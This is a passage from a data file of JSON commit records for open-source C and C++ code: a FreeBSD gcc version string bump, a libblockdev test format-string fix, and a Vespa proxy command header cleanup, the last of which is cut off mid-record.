I30b3a3806f4484d95602539def1a77a366560fdf\n","lang":"C","license":"bsd-3-clause","repos":"IllusionRom-deprecated\/android_platform_external_skia,AOSPA-L\/android_external_skia,VRToxin-AOSP\/android_external_skia,MinimalOS\/external_skia,VentureROM-L\/android_external_skia,MarshedOut\/android_external_skia,mozilla-b2g\/external_skia,RockchipOpensourceCommunity\/external_skia,Infusion-OS\/android_external_skia,Plain-Andy\/android_platform_external_skia,byterom\/android_external_skia,MinimalOS\/android_external_skia,MonkeyZZZZ\/platform_external_skia,Infusion-OS\/android_external_skia,PurityPlus\/android_external_skia,omapzoom\/platform-external-skia,upndwn4par\/android_external_skia,Hybrid-Rom\/external_skia,sudosurootdev\/external_skia,SlimSaber\/android_external_skia,suyouxin\/android_external_skia,VanirAOSP\/external_skia,byterom\/android_external_skia,AOSPB\/external_skia,Gateworks\/skia,AOSP-YU\/platform_external_skia,Plain-Andy\/android_platform_external_skia,FusionSP\/android_external_skia,AOSP-YU\/platform_external_skia,CNA\/android_external_skia,RadonX-ROM\/external_skia,w3nd1go\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,geekboxzone\/lollipop_external_skia,TeslaProject\/external_skia,pacerom\/external_skia,TeamTwisted\/external_skia,PurityROM\/platform_external_skia,roalex\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,MinimalOS\/external_skia,brothaedhung\/external_skia,android-ia\/platform_external_skia,brothaedhung\/external_skia,Plain-Andy\/android_platform_external_skia,wildermason\/external_skia,freerunner\/platform_external_skia,GladeRom\/android_external_skia,StelixROM\/android_external_skia,OptiPop\/external_skia,Euphoria-OS-Legacy\/android_external_skia,houst0nn\/external_skia,ench0\/external_skia,TeamJB\/linaro_external_skia,Mahdi-Rom\/android_external_skia,AOSPB\/external_skia,TeamJB\/linaro_external_skia,OptiPop\/external_skia,VentureROM-L\/android_external_skia,RadonX-ROM\/external_skia,Root-Box\/external_skia,AOKP\/external_skia,PurityROM\/platform_external_skia,UnicornButter\/external_skia,Fusion-Rom\/android_external_skia,OptiPop\/external_skia,OneRom\/external_skia,InfinitiveOS\/external_skia,TeamTwisted\/external_skia,houst0nn\/external_skia,DesolationStaging\/android_external_skia,xzzz9097\/android_external_skia,sombree\/android_external_skia,mrgatesjunior\/external_skia,aosp-mirror\/platform_external_skia,Nico60\/external_skia,Tesla-Redux\/android_external_skia,RadonX-ROM\/external_skia,NamelessRom\/android_external_skia,fire855\/android_external_skia,PAC-ROM\/android_external_skia,Android4SAM\/platform_external_skia,mydongistiny\/android_external_skia,parmv6\/external_skia,sigysmund\/platform_external_skia,invisiblek\/android_external_skia,Plain-Andy\/android_platform_external_skia,AsteroidOS\/android_external_skia,C-RoM-KK\/android_external_skia,VRToxin-AOSP\/android_external_skia,zhaochengw\/platform_external_skia,xzzz9097\/android_external_skia,SuperNexus\/android_external_skia,ench0\/external_skia,AsteroidOS\/android_external_skia,TeamTwisted\/external_skia,yinquan529\/platform-external-skia,aospo\/platform_external_skia,MinimalOS\/external_skia,Fusion-Rom\/android_external_skia,codeaurora-unoffical\/platform-external-skia,StelixROM\/android_external_skia,AOSPA-L\/android_external_skia,DesolationStaging\/android_external_skia,fire855\/android_external_skia,BrokenROM\/external_skia,androidarmv6\/android_external_skia,omapzoom\/platform-external-skia,aways-CR\/android_external_skia,byterom\/android_external_skia,codewalkerster\/android_external_skia,geekboxzone\/lollipop_external_skia,RadonX-ROM\/external_skia,aospo\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,yinquan529\/platform-external-skia,AOSPB\/external_skia,FusionSP\/android_external_skia,TeamExodus\/external_skia,PAC-ROM\/android_external_skia,ChameleonOS\/android_external_skia,MarshedOut\/android_external_skia,InfinitiveOS\/external_skia,VanirAOSP\/external_skia,GladeRom\/android_external_skia,Hybrid-Rom\/external_skia,aospo\/platform_external_skia,X-ROM\/android_external_skia,RadonX-ROM\/external_skia,Khaon\/android_external_skia,PurityROM\/platform_external_skia,Khaon\/android_external_skia,Mahdi-Rom\/android_external_skia,VentureROM-L\/android_external_skia,Purity-Lollipop\/platform_external_skia,byterom\/android_external_skia,FusionSP\/android_external_skia,Omegaphora\/external_skia,wildermason\/external_skia,yinquan529\/platform-external-skia,Purity-Lollipop\/platform_external_skia,AOKPSaber\/android_external_skia,AOSP-YU\/platform_external_skia,xzzz9097\/android_external_skia,boulzordev\/android_external_skia,sombree\/android_external_skia,TripNRaVeR\/android_external_skia,cubox-i\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,ctiao\/platform-external-skia,DesolationStaging\/android_external_skia,cubox-i\/android_external_skia,ParanoidAndroid\/android_external_skia,timduru\/platform-external-skia,boulzordev\/android_external_skia,mozilla-b2g\/external_skia,Purity-Lollipop\/platform_external_skia,upndwn4par\/android_external_skia,ModdedPA\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,opensourcechipspark\/platform_external_skia,androidarmv6\/android_external_skia,SuperNexus\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,sudosurootdev\/external_skia,freerunner\/platform_external_skia,mozilla-b2g\/external_skia,androidarmv6\/android_external_skia,TeamEOS\/external_skia,SuperNexus\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,TeamTwisted\/external_skia,invisiblek\/android_external_skia,OneRom\/external_skia,aospo\/platform_external_skia,DesolationStaging\/android_external_skia,temasek\/android_external_skia,houst0nn\/external_skia,HealthyHoney\/temasek_SKIA,StelixROM\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,MonkeyZZZZ\/platform_external_skia,sudosurootdev\/external_skia,Asteroid-Project\/android_external_skia,android-ia\/platform_external_skia,MinimalOS\/android_external_skia,xhteam\/external-skia,MarshedOut\/android_external_skia,ParanoidAndroid\/android_external_skia,AOSPB\/external_skia,MagicDevTeam\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,aosp-mirror\/platform_external_skia,HealthyHoney\/temasek_SKIA,BrokenROM\/external_skia,Pure-Aosp\/android_external_skia,nfxosp\/platform_external_skia,shashlik\/android-skia,ctiao\/platform-external-skia,invisiblek\/android_external_skia,StelixROM\/android_external_skia,SlimSaber\/android_external_skia,OneRom\/external_skia,DesolationStaging\/android_external_skia,sombree\/android_external_skia,invisiblek\/android_external_skia,mozilla-b2g\/external_skia,TeamEOS\/external_skia,AOSPA-L\/android_external_skia,TeamTwisted\/external_skia,OneRom\/external_skia,InfinitiveOS\/external_skia,Pure-Aosp\/android_external_skia,CNA\/android_external_skia,AsteroidOS\/android_external_skia,xzzz9097\/android_external_skia,androidarmv6\/android_external_skia,sudosurootdev\/external_skia,AndroidOpenDevelopment\/android_external_skia,InfinitiveOS\/external_skia,TeamExodus\/external_skia,MinimalOS-AOSP\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,AsteroidOS\/android_external_skia,AOSP-YU\/platform_external_skia,temasek\/android_external_skia,nfxosp\/platform_external_skia,Nico60\/external_skia,CandyKat\/external_skia,freerunner\/platform_external_skia,F-AOSP\/platform_external_skia,geekboxzone\/mmallow_external_skia,Purity-Lollipop\/platform_external_skia,xhteam\/external-skia,parmv6\/external_skia,wildermason\/external_skia,Hybrid-Rom\/external_skia,F-AOSP\/platform_external_skia,pacerom\/external_skia,OneRom\/external_skia,Android-AOSP\/external_skia,temasek\/android_external_skia,PAC-ROM\/android_external_skia,IllusionRom-deprecated\/android_platform_external_skia,TripNRaVeR\/android_external_skia,temasek\/android_external_skia,nfxosp\/platform_external_skia,UnicornButter\/external_skia,ChameleonOS\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,TeslaProject\/external_skia,Fusion-Rom\/android_external_skia,OneRom\/external_skia,aways-CR\/android_external_skia,aosp-mirror\/platform_external_skia,yinquan529\/platform-external-skia,aosp-mirror\/platform_external_skia,Infinitive-OS\/platform_external_skia,nfxosp\/platform_external_skia,TripNRaVeR\/android_external_skia,sudosurootdev\/external_skia,TeamExodus\/external_skia,PurityROM\/platform_external_skia,MinimalOS\/external_skia,fire855\/android_external_skia,OptiPop\/external_skia,timduru\/platform-external-skia,pacerom\/external_skia,IllusionRom-deprecated\/android_platform_external_skia,codewalkerster\/android_external_skia,VRToxin-AOSP\/android_external_skia,MarshedOut\/android_external_skia,RockchipOpensourceCommunity\/external_skia,BrokenROM\/external_skia,android-ia\/platform_external_skia,Hybrid-Rom\/external_skia,MonkeyZZZZ\/platform_external_skia,roalex\/android_external_skia,w3nd1go\/android_external_skia,zhaochengw\/platform_external_skia,opensourcechipspark\/platform_external_skia,TeslaOS\/android_external_skia,Nico60\/external_skia,bleeding-rom\/android_external_skia,geekboxzone\/lollipop_external_skia,Hikari-no-Tenshi\/android_external_skia,Mahdi-Rom\/android_external_skia,CandyKat\/external_skia,sigysmund\/platform_external_skia,houst0nn\/external_skia,NamelessRom\/android_external_skia,shashlik\/android-skia,YUPlayGodDev\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,C-RoM-KK\/android_external_skia,sigysmund\/platform_external_skia,roalex\/android_external_skia,F-AOSP\/platform_external_skia,fire855\/android_external_skia,PurityPlus\/android_external_skia,TeslaProject\/external_skia,MonkeyZZZZ\/platform_external_skia,mydongistiny\/android_external_skia,TeamJB\/linaro_external_skia,Asteroid-Project\/android_external_skia,Tesla-Redux\/android_external_skia,YUPlayGodDev\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,AOSP-YU\/platform_external_skia,embest-tech\/android_external_skia,UBERMALLOW\/external_skia,TeamTwisted\/external_skia,MinimalOS\/android_external_skia,sigysmund\/platform_external_skia,DesolationStaging\/android_external_skia,invisiblek\/android_external_skia,geekboxzone\/mmallow_external_skia,UBERMALLOW\/external_skia,C-RoM-KK\/android_external_skia,houst0nn\/external_skia,timduru\/platform-external-skia,omapzoom\/platform-external-skia,Omegaphora\/external_skia,cubox-i\/android_external_skia,TeslaOS\/android_external_skia,TeslaProject\/external_skia,cuboxi\/android_external_skia,MagicDevTeam\/android_external_skia,AOSPA-L\/android_external_skia,AOSPB\/external_skia,Purity-Lollipop\/platform_external_skia,PAC-ROM\/android_external_skia,Pure-Aosp\/android_external_skia,roalex\/android_external_skia,AOSPA-L\/android_external_skia,Purity-Lollipop\/platform_external_skia,AOKP\/external_skia,SlimSaber\/android_external_skia,TeslaProject\/external_skia,Root-Box\/external_skia,InfinitiveOS\/external_skia,thiz11\/platform_external_skia,SaleJumper\/android-source-browsing.platform--external--skia,MinimalOS-AOSP\/platform_external_skia,GladeRom\/android_external_skia,AOSPA-L\/android_external_skia,PurityPlus\/android_external_skia,UltimatumKang\/android_external_skia-1,Asteroid-Project\/android_external_skia,Fusion-Rom\/android_external_skia,temasek\/android_external_skia,sudosurootdev\/external_skia,sombree\/android_external_skia,androidarmv6\/android_external_skia,UBERMALLOW\/external_skia,DesolationStaging\/android_external_skia,geekboxzone\/lollipop_external_skia,MarshedOut\/android_external_skia,sigysmund\/platform_external_skia,BrokenROM\/external_skia,Omegaphora\/external_skia,Asteroid-Project\/android_external_skia,MinimalOS\/android_external_skia,Root-Box\/external_skia,w3nd1go\/android_external_skia,shashlik\/android-skia,AOSPA-L\/android_external_skia,codeaurora-unoffical\/platform-external-skia,sigysmund\/platform_external_skia,omapzoom\/platform-external-skia,wildermason\/external_skia,ench0\/external_skia,yinquan529\/platform-external-skia,NamelessRom\/android_external_skia,Android4SAM\/platform_external_skia,temasek\/android_external_skia,AOKP\/external_skia,marlontoe\/android_external_skia,codeaurora-unoffical\/platform-external-skia,androidarmv6\/android_external_skia,MarshedOut\/android_external_skia,AOSPB\/external_skia,geekboxzone\/mmallow_external_skia,Tesla-Redux\/android_external_skia,xzzz9097\/android_external_skia,Omegaphora\/external_skia,InsomniaAOSP\/platform_external_skia,upndwn4par\/android_external_skia,AOSP-S4-KK\/platform_external_skia,androidarmv6\/android_external_skia,Nico60\/external_skia,UBERMALLOW\/external_skia,TeamExodus\/external_skia,FusionSP\/android_external_skia,VanirAOSP\/external_skia,SlimSaber\/android_external_skia,fire855\/android_external_skia,Purity-Lollipop\/platform_external_skia,upndwn4par\/android_external_skia,mrgatesjunior\/external_skia,MagicDevTeam\/android_external_skia,SlimSaber\/android_external_skia,aosp-mirror\/platform_external_skia,FusionSP\/android_external_skia,VanirAOSP\/external_skia,Plain-Andy\/android_platform_external_skia,RadonX-ROM\/external_skia,CandyKat\/external_skia,Omegaphora\/external_skia,parmv6\/external_skia,BrokenROM\/external_skia,zhaochengw\/platform_external_skia,MarshedOut\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,geekboxzone\/lollipop_external_skia,CNA\/android_external_skia,pacerom\/external_skia,InfinitiveOS\/external_skia,boulzordev\/android_external_skia,HealthyHoney\/temasek_SKIA,SuperNexus\/android_external_skia,MinimalOS\/external_skia,TeamEOS\/external_skia,bleeding-rom\/android_external_skia,TeamExodus\/external_skia,Fusion-Rom\/android_external_skia,opensourcechipspark\/platform_external_skia,X-ROM\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,Root-Box\/external_skia,HealthyHoney\/temasek_SKIA,marlontoe\/android_external_skia,MyAOSP\/external_skia,Plain-Andy\/android_platform_external_skia,temasek\/android_external_skia,TeslaOS\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,MyAOSP\/external_skia,android-ia\/platform_external_skia,codewalkerster\/android_external_skia,zhaochengw\/platform_external_skia,sombree\/android_external_skia,mydongistiny\/android_external_skia,TeamTwisted\/external_skia,DesolationStaging\/android_external_skia,wildermason\/external_skia,timduru\/platform-external-skia,MinimalOS\/android_external_skia,aosp-mirror\/platform_external_skia,SlimSaber\/android_external_skia,mydongistiny\/android_external_skia,PAC-ROM\/android_external_skia,suyouxin\/android_external_skia,sombree\/android_external_skia,YUPlayGodDev\/platform_external_skia,invisiblek\/android_external_skia,wildermason\/external_skia,GladeRom\/android_external_skia,AOSPA-L\/android_external_skia,shashlik\/android-skia,Infusion-OS\/android_external_skia,mrgatesjunior\/external_skia,Android-AOSP\/external_skia,TeamExodus\/external_skia,MinimalOS-AOSP\/platform_external_skia,RadonX-ROM\/external_skia,bleeding-rom\/android_external_skia,Khaon\/android_external_skia,BrokenROM\/external_skia,LOSP\/external_skia,boulzordev\/android_external_skia,sudosurootdev\/external_skia,cuboxi\/android_external_skia,zhaochengw\/platform_external_skia,Omegaphora\/external_skia,AOSPB\/external_skia,aospo\/platform_external_skia,BrokenROM\/external_skia,thiz11\/platform_external_skia,HealthyHoney\/temasek_SKIA,fire855\/android_external_skia,UltimatumKang\/android_external_skia-1,Infusion-OS\/android_external_skia,MagicDevTeam\/android_external_skia,MonkeyZZZZ\/platform_external_skia,spezi77\/android_external_skia,android-ia\/platform_external_skia,TeamNyx\/external_skia,aways-CR\/android_external_skia,CandyKat\/external_skia,byterom\/android_external_skia,w3nd1go\/android_external_skia,MonkeyZZZZ\/platform_external_skia,RockchipOpensourceCommunity\/external_skia,MinimalOS\/external_skia,Infusion-OS\/android_external_skia,TeslaOS\/android_external_skia,nfxosp\/platform_external_skia,suyouxin\/android_external_skia,codeaurora-unoffical\/platform-external-skia,TeamEOS\/external_skia,Khaon\/android_external_skia,android-ia\/platform_external_skia,mozilla-b2g\/external_skia,F-AOSP\/platform_external_skia,pacerom\/external_skia,HealthyHoney\/temasek_SKIA,brothaedhung\/external_skia,Hybrid-Rom\/external_skia,parmv6\/external_skia,Asteroid-Project\/android_external_skia,AsteroidOS\/android_external_skia,VRToxin-AOSP\/android_external_skia,Tesla-Redux\/android_external_skia,TeamJB\/linaro_external_skia,ench0\/external_skia,C-RoM-KK\/android_external_skia,embest-tech\/android_external_skia,MonkeyZZZZ\/platform_external_skia,ench0\/external_skia,geekboxzone\/lollipop_external_skia,bleeding-rom\/android_external_skia,TripNRaVeR\/android_external_skia,cuboxi\/android_external_skia,MinimalOS\/android_external_skia,F-AOSP\/platform_external_skia,mydongistiny\/android_external_skia,Android4SAM\/platform_external_skia,YUPlayGodDev\/platform_external_skia,LOSP\/external_skia,AOSPB\/external_skia,GladeRom\/android_external_skia,InsomniaAOSP\/platform_external_skia,mozilla-b2g\/external_skia,AOSP-S4-KK\/platform_external_skia,thiz11\/platform_external_skia,omapzoom\/platform-external-skia,Hikari-no-Tenshi\/android_external_skia,mydongistiny\/android_external_skia,TeamNyx\/external_skia,mozilla-b2g\/external_skia,AOSP-S4-KK\/platform_external_skia,timduru\/platform-external-skia,TeslaOS\/android_external_skia,xhteam\/external-skia,androidarmv6\/android_external_skia,shashlik\/android-skia,AsteroidOS\/android_external_skia,w3nd1go\/android_external_skia,SaleJumper\/android-source-browsing.platform--external--skia,boulzordev\/android_external_skia,marlontoe\/android_external_skia,StelixROM\/android_external_skia,byterom\/android_external_skia,TeslaProject\/external_skia,TeamExodus\/external_skia,Infinitive-OS\/platform_external_skia,VRToxin-AOSP\/android_external_skia,fire855\/android_external_skia,VanirAOSP\/external_skia,xzzz9097\/android_external_skia,SlimSaber\/android_external_skia,VRToxin-AOSP\/android_external_skia,AOSP-YU\/platform_external_skia,boulzordev\/android_external_skia,ctiao\/platform-external-skia,OneRom\/external_skia,cuboxi\/android_external_skia,TeslaProject\/external_skia,UltimatumKang\/android_external_skia-1,TeamExodus\/external_skia,aways-CR\/android_external_skia,sigysmund\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,GladeRom\/android_external_skia,TeamBliss-LP\/android_external_skia,StelixROM\/android_external_skia,UBERMALLOW\/external_skia,F-AOSP\/platform_external_skia,ctiao\/platform-external-skia,suyouxin\/android_external_skia,boulzordev\/android_external_skia,TeamBliss-LP\/android_external_skia,MyAOSP\/external_skia,ctiao\/platform-external-skia,MinimalOS-AOSP\/platform_external_skia,sombree\/android_external_skia,aospo\/platform_external_skia,BrokenROM\/external_skia,YUPlayGodDev\/platform_external_skia,invisiblek\/android_external_skia,MyAOSP\/external_skia,Infusion-OS\/android_external_skia,aosp-mirror\/platform_external_skia,houst0nn\/external_skia,ench0\/external_skia,TeamJB\/linaro_external_skia,wildermason\/external_skia,Gateworks\/skia,aospo\/platform_external_skia,mrgatesjunior\/external_skia,RockchipOpensourceCommunity\/external_skia,Omegaphora\/external_skia,PAC-ROM\/android_external_skia,UBERMALLOW\/external_skia,Hybrid-Rom\/external_skia,ParanoidAndroid\/android_external_skia,w3nd1go\/android_external_skia,InsomniaROM\/platform_external_skia,AndroidOpenDevelopment\/android_external_skia,Khaon\/android_external_skia,mydongistiny\/android_external_skia,OptiPop\/external_skia,fire855\/android_external_skia,geekboxzone\/mmallow_external_skia,Pure-Aosp\/android_external_skia,MarshedOut\/android_external_skia,F-AOSP\/platform_external_skia,TeslaOS\/android_external_skia,OptiPop\/external_skia,geekboxzone\/mmallow_external_skia,NamelessRom\/android_external_skia,ench0\/external_skia,MarshedOut\/android_external_skia,InfinitiveOS\/external_skia,TeamEOS\/external_skia,Euphoria-OS-Legacy\/android_external_skia,pacerom\/external_skia,Android-AOSP\/external_skia,byterom\/android_external_skia,RadonX-ROM\/external_skia,nfxosp\/platform_external_skia,mydongistiny\/android_external_skia,wildermason\/external_skia,TeamTwisted\/external_skia,geekboxzone\/lollipop_external_skia,timduru\/platform-external-skia,Infinitive-OS\/platform_external_skia,TeamBliss-LP\/android_external_skia,GladeRom\/android_external_skia,ChameleonOS\/android_external_skia,Infinitive-OS\/platform_external_skia,suyouxin\/android_external_skia,Infinitive-OS\/platform_external_skia,Pure-Aosp\/android_external_skia,w3nd1go\/android_external_skia,AOSP-YU\/platform_external_skia,LOSP\/external_skia,TeamBliss-LP\/android_external_skia,spezi77\/android_external_skia,Mahdi-Rom\/android_external_skia,Nico60\/external_skia,TeamBliss-LP\/android_external_skia,PAC-ROM\/android_external_skia,F-AOSP\/platform_external_skia,TeamEOS\/external_skia,suyouxin\/android_external_skia,codeaurora-unoffical\/platform-external-skia,TeamBliss-LP\/android_external_skia,xhteam\/external-skia,MinimalOS\/android_external_skia,codewalkerster\/android_external_skia,UnicornButter\/external_skia,nfxosp\/platform_external_skia,AOSPB\/external_skia,SaleJumper\/android-source-browsing.platform--external--skia,zhaochengw\/platform_external_skia,w3nd1go\/android_external_skia,freerunner\/platform_external_skia,Android-AOSP\/external_skia,nfxosp\/platform_external_skia,UltimatumKang\/android_external_skia-1,Android-AOSP\/external_skia,Pure-Aosp\/android_external_skia,AsteroidOS\/android_external_skia,SlimSaber\/android_external_skia,Infinitive-OS\/platform_external_skia,TeamBliss-LP\/android_external_skia,geekboxzone\/mmallow_external_skia,Tesla-Redux\/android_external_skia,VRToxin-AOSP\/android_external_skia,AOKPSaber\/android_external_skia,VentureROM-L\/android_external_skia,Android-AOSP\/external_skia,C-RoM-KK\/android_external_skia,brothaedhung\/external_skia,codeaurora-unoffical\/platform-external-skia,Hybrid-Rom\/external_skia,Pure-Aosp\/android_external_skia,CandyKat\/external_skia,YUPlayGodDev\/platform_external_skia,zhaochengw\/platform_external_skia,FusionSP\/android_external_skia,SaleJumper\/android-source-browsing.platform--external--skia,Plain-Andy\/android_platform_external_skia,PAC-ROM\/android_external_skia,NamelessRom\/android_external_skia,AOSP-S4-KK\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,android-ia\/platform_external_skia,geekboxzone\/lollipop_external_skia,Omegaphora\/external_skia,spezi77\/android_external_skia,NamelessRom\/android_external_skia,mozilla-b2g\/external_skia,Infinitive-OS\/platform_external_skia,cubox-i\/android_external_skia,MinimalOS\/android_external_skia,TeslaProject\/external_skia,FusionSP\/android_external_skia,nfxosp\/platform_external_skia,Khaon\/android_external_skia,marlontoe\/android_external_skia,geekboxzone\/mmallow_external_skia,Fusion-Rom\/android_external_skia,thiz11\/platform_external_skia,PurityPlus\/android_external_skia,Asteroid-Project\/android_external_skia,TeslaOS\/android_external_skia,byterom\/android_external_skia,PurityPlus\/android_external_skia,NamelessRom\/android_external_skia,LOSP\/external_skia,ChameleonOS\/android_external_skia,xzzz9097\/android_external_skia,embest-tech\/android_external_skia,Khaon\/android_external_skia,xzzz9097\/android_external_skia,OneRom\/external_skia,geekboxzone\/mmallow_external_skia,VentureROM-L\/android_external_skia,zhaochengw\/platform_external_skia,HealthyHoney\/temasek_SKIA,Mahdi-Rom\/android_external_skia,opensourcechipspark\/platform_external_skia,Infinitive-OS\/platform_external_skia,YUPlayGodDev\/platform_external_skia,aospo\/platform_external_skia,CNA\/android_external_skia,opensourcechipspark\/platform_external_skia,InsomniaROM\/platform_external_skia,Khaon\/android_external_skia,OptiPop\/external_skia,Infusion-OS\/android_external_skia,VRToxin-AOSP\/android_external_skia,shashlik\/android-skia,AsteroidOS\/android_external_skia,Asteroid-Project\/android_external_skia,TeamEOS\/external_skia,LOSP\/external_skia,AOSP-YU\/platform_external_skia,sudosurootdev\/external_skia,AOSP-S4-KK\/platform_external_skia,pacerom\/external_skia,X-ROM\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,Asteroid-Project\/android_external_skia,ctiao\/platform-external-skia,aosp-mirror\/platform_external_skia,HealthyHoney\/temasek_SKIA,cubox-i\/android_external_skia,Purity-Lollipop\/platform_external_skia,marlontoe\/android_external_skia,AOKPSaber\/android_external_skia,TeamTwisted\/external_skia,VentureROM-L\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Pure-Aosp\/android_external_skia,InfinitiveOS\/external_skia,UBERMALLOW\/external_skia,VentureROM-L\/android_external_skia,AOSP-YU\/platform_external_skia,Hybrid-Rom\/external_skia,houst0nn\/external_skia,NamelessRom\/android_external_skia,UBERMALLOW\/external_skia,Gateworks\/skia,GladeRom\/android_external_skia,AOKP\/external_skia,timduru\/platform-external-skia,invisiblek\/android_external_skia,suyouxin\/android_external_skia,Infinitive-OS\/platform_external_skia,Android-AOSP\/external_skia,TeslaOS\/android_external_skia,ParanoidAndroid\/android_external_skia,ModdedPA\/android_external_skia,sigysmund\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,spezi77\/android_external_skia,spezi77\/android_external_skia,IllusionRom-deprecated\/android_platform_external_skia,InsomniaAOSP\/platform_external_skia,boulzordev\/android_external_skia,android-ia\/platform_external_skia,ModdedPA\/android_external_skia,UnicornButter\/external_skia,aosp-mirror\/platform_external_skia,temasek\/android_external_skia,ench0\/external_skia,Hikari-no-Tenshi\/android_external_skia,w3nd1go\/android_external_skia,Fusion-Rom\/android_external_skia,sombree\/android_external_skia,embest-tech\/android_external_skia,cuboxi\/android_external_skia,spezi77\/android_external_skia,MinimalOS\/external_skia,Tesla-Redux\/android_external_skia,geekboxzone\/mmallow_external_skia,VRToxin-AOSP\/android_external_skia,X-ROM\/android_external_skia,yinquan529\/platform-external-skia,InsomniaROM\/platform_external_skia,Gateworks\/skia,InsomniaAOSP\/platform_external_skia,Infusion-OS\/android_external_skia,upndwn4par\/android_external_skia,OneRom\/external_skia,ctiao\/platform-external-skia,AOKPSaber\/android_external_skia,TeamExodus\/external_skia,ModdedPA\/android_external_skia,UBERMALLOW\/external_skia,MinimalOS\/external_skia,PAC-ROM\/android_external_skia,Android4SAM\/platform_external_skia,Tesla-Redux\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,VentureROM-L\/android_external_skia,YUPlayGodDev\/platform_external_skia,InsomniaROM\/platform_external_skia,Fusion-Rom\/android_external_skia,Tesla-Redux\/android_external_skia,YUPlayGodDev\/platform_external_skia,MyAOSP\/external_skia,OptiPop\/external_skia,boulzordev\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia"}
{"commit":"28a1bb74499eeadb12742b7d097d87e56ba024b8","old_file":"contrib\/gcc\/version.c","new_file":"contrib\/gcc\/version.c","old_contents":"\/* $FreeBSD$ *\/\n\n#include \"ansidecl.h\"\n#include \"version.h\"\n\nconst char *const version_string = \"3.2.1 [FreeBSD] 20021009 (prerelease)\";\n","new_contents":"\/* $FreeBSD$ *\/\n\n#include \"ansidecl.h\"\n#include \"version.h\"\n\nconst char *const version_string = \"3.2.1 [FreeBSD] 20021119 (release)\";\n","subject":"Update for Gcc 3.2.1 release.","message":"Update for Gcc 3.2.1 release.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"436514f5dc9e4ba01d547a8e2113d09fbf0a65e9","old_file":"src\/lib\/test_blockdev.c","new_file":"src\/lib\/test_blockdev.c","old_contents":"int main (int argc, char* argv[]) {\n    bd_init(NULL);\n    g_printf (\"max LV size: %lu\\n\", bd_lvm_get_max_lv_size());\n\n    return 0;\n}\n","new_contents":"int main (int argc, char* argv[]) {\n    bd_init(NULL);\n    g_printf (\"max LV size: %\"G_GUINT64_FORMAT\"\\n\", bd_lvm_get_max_lv_size());\n\n    return 0;\n}\n","subject":"Use arch-independent format string for guint64 in tests","message":"Use arch-independent format string for guint64 in tests\n\nOtherwise \"0\" is printed out even if the right number is returned by the tested\nfunction.\n","lang":"C","license":"lgpl-2.1","repos":"atodorov\/libblockdev,vpodzime\/libblockdev,rhinstaller\/libblockdev,dashea\/libblockdev,vpodzime\/libblockdev,dashea\/libblockdev,atodorov\/libblockdev,rhinstaller\/libblockdev,vpodzime\/libblockdev,snbueno\/libblockdev,rhinstaller\/libblockdev,atodorov\/libblockdev,snbueno\/libblockdev"}
{"commit":"0a39f2cfa0fd4a48c6eda303901a2c497e4cc0ad","old_file":"config\/src\/apps\/vespa-configproxy-cmd\/proxycmd.h","new_file":"config\/src\/apps\/vespa-configproxy-cmd\/proxycmd.h","old_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/vespalib\/stllike\/string.h>\n#include <vector>\n\nclass FRT_Supervisor;\nclass FRT_Target;\nclass FRT_RPCRequest;\nclass FRT_Values;\n\nnamespace fnet::frt { class StandaloneFRT; }\n\nstruct Flags {\n    vespalib::string method;\n    std::vector<vespalib::string> args;\n    vespalib::string targethost;\n    int portnumber;\n    Flags(const Flags &);\n    Flags & operator=(const Flags &);\n    Flags();\n    ~Flags();\n};\n\nclass ProxyCmd\n{\nprivate:\n    std::unique_ptr<fnet::frt::StandaloneFRT> _server;\n    FRT_Supervisor *_supervisor;\n    FRT_Target     *_target;\n    FRT_RPCRequest *_req;\n    Flags           _flags;\n\n    void initRPC();\n    void invokeRPC();\n    void finiRPC();\n    void printArray(FRT_Values *rvals);\n    vespalib::string makeSpec();\n    void autoPrint();\npublic:\n    ProxyCmd(const Flags& flags);\n    virtual ~ProxyCmd();\n    int action();\n};\n\n\n","new_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/vespalib\/stllike\/string.h>\n#include <vector>\n\nclass FRT_Target;\nclass FRT_RPCRequest;\nclass FRT_Values;\n\nnamespace fnet::frt { class StandaloneFRT; }\n\nstruct Flags {\n    vespalib::string method;\n    std::vector<vespalib::string> args;\n    vespalib::string targethost;\n    int portnumber;\n    Flags(const Flags &);\n    Flags & operator=(const Flags &);\n    Flags();\n    ~Flags();\n};\n\nclass ProxyCmd\n{\nprivate:\n    std::unique_ptr<fnet::frt::StandaloneFRT> _server;\n    FRT_Target     *_target;\n    FRT_RPCRequest *_req;\n    Flags           _flags;\n\n    void initRPC();\n    void invokeRPC();\n    void finiRPC();\n    void printArray(FRT_Values *rvals);\n    vespalib::string makeSpec();\n    void autoPrint();\npublic:\n    ProxyCmd(const Flags& flags);\n    virtual 